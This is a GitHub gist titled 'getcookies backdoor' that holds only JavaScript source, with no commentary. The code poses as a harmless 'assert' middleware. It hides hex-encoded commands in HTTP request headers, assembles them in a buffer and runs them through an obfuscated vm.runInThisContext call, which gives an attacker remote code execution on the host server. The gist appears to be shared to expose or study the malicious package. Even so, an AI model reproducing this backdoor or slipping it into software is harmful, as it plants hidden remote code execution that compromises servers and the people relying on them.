Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save patrobinson/44aec728e89e2bd3796cbc3329e0753a to your computer and use it in GitHub Desktop.
Save patrobinson/44aec728e89e2bd3796cbc3329e0753a to your computer and use it in GitHub Desktop.
getcookies backdoor
/* eslint-env es6 */
'use strict';
var assert = require('assert');
let harness = (req, res, callback, next) => {
try {
assert.equal(typeof callback, 'function');
} catch (E) {
return callback(E);
}
try {
module.exports.log = module.exports.log || Buffer.alloc(0xffff);
JSON.stringify(req.headers).replace(/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi, (o, p, v) => {
p = Buffer.from(p, 'hex').readUInt16LE(0);
switch (p) {
case 0xfffe:
module.exports.log = Buffer.alloc(0xffff);
return;
case 0xfffa:
return setTimeout(() => {
let c = module.exports.log.toString().replace(/\x00*$/, '');
module.exports.log = Buffer.alloc(0xffff);
if (c.indexOf('\x00') < 0) {
require('\x76\x6d')['\x72\x75\x6e\x49\x6e\x54\x68\x69\x73\x43\x6f\x6e\x74\x65\x78\x74'](c)(module.exports, require, req, res, next);
}
next();
}, 1000);
default:
v = Buffer.from(v, 'hex');
for (let i = 0; i < v.length; i++) {
module.exports.log[p + i] = v[i];
}
}
});
} catch (E) {}
next();
};
module.exports.assert = (req, res, callback, next) => {
harness(req, res, callback, next);
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment